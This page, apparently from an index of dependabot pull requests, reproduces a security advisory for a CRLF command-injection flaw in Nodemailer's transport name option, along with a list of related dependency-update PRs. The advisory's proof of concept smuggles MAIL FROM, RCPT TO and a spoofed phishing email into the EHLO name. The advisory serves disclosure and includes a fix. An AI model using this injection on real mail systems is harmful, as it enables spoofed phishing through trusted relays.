An open index of dependabot pull requests across open source projects.

Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

RSS Feed MODERATE
GHSA-vvjj-xcjg-gr5g
Description:

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

  • Multi-tenant SaaS platforms with per-tenant SMTP configuration
  • Admin panels where SMTP hostname/name settings are stored in databases
  • Applications loading SMTP config from environment variables or external sources

What can an attacker do:

  1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
  2. Spoof email senders by injecting arbitrary From headers in the DATA portion
  3. Conduct phishing attacks using the legitimate SMTP server as a relay
  4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
  5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
Affected Packages
Ecosystem Package Vulnerable Versions Patched Version
npm nodemailer <= 8.0.4
8.0.5
Related Dependabot Pull Requests
build(deps): bump the npm_and_yarn group across 1 directory with 10 updates
Open about 12 hours ago
gitroomhq/postiz-app #1536
npm:axios npm:vite +7 more
gitroomhq
deps(deps): bump the minor-and-patch group across 1 directory with 21 updates
Open about 15 hours ago
BlackstoneStudio/Parrot-Messenger #115
npm:axios npm:prettier +18 more
BlackstoneStudio
chore(deps): bump the npm_and_yarn group across 1 directory with 16 updates
Closed 1 day ago
lhy8888/uptime #50
npm:axios npm:nodemailer +2 more
lhy8888
deps(deps): bump the utilities group with 3 updates
Open 1 day ago
NicholasEmery/newsly-portal-backend #3
npm:multer npm:nodemailer +1 more
NicholasEmery
deps: bump the minor-and-patch group across 1 directory with 4 updates
Open 1 day ago
seanyates76/Ez-Quiz-Dev #148
npm:netlify-cli npm:nodemailer +2 more
seanyates76
Bump the npm_and_yarn group across 2 directories with 17 updates
Closed 2 days ago
ZAK123DSFDF/refearnapp #27
npm:axios npm:next +3 more
ZAK123DSFDF
Bump the npm_and_yarn group across 1 directory with 26 updates
Open 2 days ago
adrianwedd/Open-Assistant #1
npm:axios npm:next +19 more
adrianwedd
deps(server): bump the prod-deps group across 1 directory with 6 updates
Open 4 days ago
jiliroin-cyber/scanly #11
npm:axios npm:nodemailer +4 more
jiliroin-cyber
build(deps): bump the npm_and_yarn group across 11 directories with 7 updates
Open 4 days ago
spica-engine/spica #1814
npm:axios npm:vite +5 more
spica-engine
chore(deps): bump nodemailer from 6.10.1 to 8.0.5 in /server
Open 5 days ago
kostasuser01gr/Car-Rental-Company---Web-App #15
npm:nodemailer
kostasuser01gr
chore(deps): Bump the npm_and_yarn group across 4 directories with 8 updates
Open 5 days ago
yu-iskw/n8n #17
npm:axios npm:nodemailer +6 more
yu-iskw
build(deps): bump the npm_and_yarn group across 4 directories with 8 updates
Open 5 days ago
GoldenEagle-23/n8n #20
npm:axios npm:nodemailer +6 more
GoldenEagle-23
build(deps): Bump the npm_and_yarn group across 2 directories with 9 updates
Closed 5 days ago
AntwerpDesignsIonity/n8n #4
npm:axios npm:nodemailer +7 more
AntwerpDesignsIonity
chore(deps): Bump the npm_and_yarn group across 4 directories with 8 updates
Closed 6 days ago
EU-UNION-AI-PACT/n8n #9
npm:axios npm:nodemailer +6 more
EU-UNION-AI-PACT
npm: bump nodemailer from 6.9.7 to 8.0.7
Open 6 days ago
samiwarraich/bookit #738
npm:nodemailer
samiwarraich
chore(deps): bump the npm_and_yarn group across 1 directory with 15 updates
Closed 6 days ago
lhy8888/uptime #42
npm:axios npm:vite +12 more
lhy8888
Bump the npm_and_yarn group across 1 directory with 8 updates
Closed 6 days ago
ameera-org/uptime-kuma #16
npm:vite npm:undici +6 more
ameera-org
build(deps): bump the npm_and_yarn group across 3 directories with 9 updates
Open 6 days ago
RemyLoveLogicAI/n8n #39
npm:axios npm:vite +7 more
RemyLoveLogicAI
chore(deps)(deps): bump the production-dependencies group across 1 directory with 18 updates
Open 6 days ago
jhaayushkumar/Online-Study-Platform #84
npm:@types/node npm:express +11 more
jhaayushkumar
Bump the npm_and_yarn group across 1 directory with 8 updates
Closed 6 days ago
ameera-org/uptime-kuma #10
npm:vite npm:undici +6 more
ameera-org
chore(deps): bump nodemailer from 7.0.11 to 8.0.5 in /apps/studio.giselles.ai in the npm_and_yarn group across 1 directory
Closed 6 days ago
giselles-ai/giselle #2914
npm:nodemailer
giselles-ai
chore(deps): bump nodemailer from 7.0.13 to 8.0.5
Open 7 days ago
nexpress-cms/nexpress #682
npm:nodemailer
nexpress-cms
chore(deps): bump nodemailer and @types/nodemailer
Open 7 days ago
undone0603/authichain-unified #116
npm:nodemailer npm:@types/nodemailer
undone0603
Bump the npm_and_yarn group across 6 directories with 4 updates
Closed 7 days ago
paulpham157/huly-io #41
npm:nodemailer npm:electron +2 more
paulpham157
chore(deps): bump nodemailer from 6.9.5 to 8.0.7
Open 8 days ago
BRAVO68WEB/shx #223
npm:nodemailer
BRAVO68WEB
chore(deps): bump nodemailer from 6.10.1 to 8.0.7 in /kheti_sahayak_backend
Open 8 days ago
pponali/khetisahayak #7
npm:nodemailer
pponali
build(deps): bump nodemailer from 6.10.1 to 8.0.7 in /functions
Open 8 days ago
FinSightAI/finsight #8
npm:nodemailer
FinSightAI
chore(deps): bump the backend-patch-minor group across 1 directory with 20 updates
Open 8 days ago
himedia-labs/Himedia_Community #181
npm:globals npm:eslint +18 more
himedia-labs
build(deps): Bump the npm_and_yarn group across 4 directories with 2 updates
Open 8 days ago
ali963git/rzex #13
npm:nodemailer npm:uuid
ali963git
build(deps): Bump nodemailer from 6.10.1 to 8.0.5 in /services/notification-service in the npm_and_yarn group across 1 directory
Closed 8 days ago
ali963git/rzex #12
npm:nodemailer
ali963git
deps: bump the minor-and-patch group across 1 directory with 4 updates
Closed 9 days ago
seanyates76/Ez-Quiz-Dev #145
npm:puppeteer npm:nodemailer +2 more
seanyates76
chore(deps): bump nodemailer from 6.10.1 to 8.0.5
Open 9 days ago
funmusicplace/mirlo #2055
npm:nodemailer
funmusicplace
chore(deps): bump the npm_and_yarn group across 11 directories with 12 updates
Closed 9 days ago
sumonst21/nocobase #43
npm:axios npm:nodemailer +8 more
sumonst21
Bump the npm_and_yarn group across 1 directory with 8 updates
Closed 9 days ago
ameera-org/uptime-kuma #8
npm:vite npm:undici +6 more
ameera-org
Bump the dependencies group with 20 updates
Open 9 days ago
codeforitoshima/itoshima-library-search #29
npm:vitest npm:@types/node +18 more
codeforitoshima
Bump the npm_and_yarn group across 1 directory with 8 updates
Closed 10 days ago
ameera-org/uptime-kuma #7
npm:vite npm:undici +6 more
ameera-org
chore(deps): bump the npm_and_yarn group across 7 directories with 15 updates
Open 10 days ago
TiltCheck-ME/TiltCheck #92
npm:axios npm:serialize-javascript +6 more
TiltCheck-ME
Bump the npm_and_yarn group across 2 directories with 15 updates
Closed 10 days ago
vporton/meritocracy #54
npm:axios npm:vite +7 more
vporton
build(deps): bump the npm_and_yarn group across 5 directories with 10 updates
Closed 10 days ago
EmpCloud/emp-monitor #149
npm:fast-xml-parser npm:nodemailer +5 more
EmpCloud
chore(deps): bump the npm_and_yarn group across 4 directories with 9 updates
Closed 10 days ago
CharlieCortial/dokploy #26
npm:next npm:nodemailer +3 more
CharlieCortial
build(deps): bump the npm_and_yarn group across 2 directories with 8 updates
Open 10 days ago
Prolomon/URMS #7
npm:nodemailer npm:uuid +3 more
Prolomon
chore(deps): bump the npm_and_yarn group across 27 directories with 13 updates
Closed 11 days ago
szabiiii/activepieces #24
npm:axios npm:vite +11 more
szabiiii
Bump the npm_and_yarn group across 29 directories with 12 updates
Closed 11 days ago
vicaya/joplin #46
npm:axios npm:fast-xml-parser +7 more
vicaya
chore(deps): bump the npm_and_yarn group across 1 directory with 10 updates
Closed 12 days ago
lhy8888/uptime #24
npm:axios npm:vite +7 more
lhy8888
Bump nodemailer from 7.0.13 to 8.0.5 in the npm_and_yarn group across 1 directory
Closed 12 days ago
dsbowersock/massagelab #2
npm:nodemailer
dsbowersock
chore(deps): bump the npm_and_yarn group across 8 directories with 20 updates
Closed 12 days ago
claudiodearaujo/IzaCenter #52
npm:multer npm:nodemailer +7 more
claudiodearaujo
chore(deps): bump the npm_and_yarn group across 5 directories with 8 updates
Closed 12 days ago
epic-hq/cal.diy #5
npm:dompurify npm:nodemailer +6 more
epic-hq
chore(deps): bump the npm_and_yarn group across 13 directories with 18 updates
Closed 12 days ago
UniversalStandards/activepieces #87
npm:axios npm:vite +11 more
UniversalStandards
chore(deps): bump the npm_and_yarn group across 2 directories with 5 updates
Closed 13 days ago
Sazwan96/nocodb #30
npm:axios npm:nodemailer +3 more
Sazwan96
Bump the npm_and_yarn group across 13 directories with 21 updates
Open 13 days ago
GlacierEQ/activepieces #88
npm:axios npm:vite +13 more
GlacierEQ
Advisory Details
Published: April 08, 2026 about 1 month ago
Updated: April 25, 2026 24 days ago
CVSS Score: 4.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
Source: Github
Classification: GENERAL
UUID: GSA_kwCzR0hTQS12dmpqLXhjamctZ3I1Z84ABU79
PR Statistics
PR Status
Open 276 (51.7%)
Merged 0 (0.0%)
Closed 258 (48.3%)
Update Types
Major 766 (22.9%)
Minor 1344 (40.2%)
Patch 1223 (36.5%)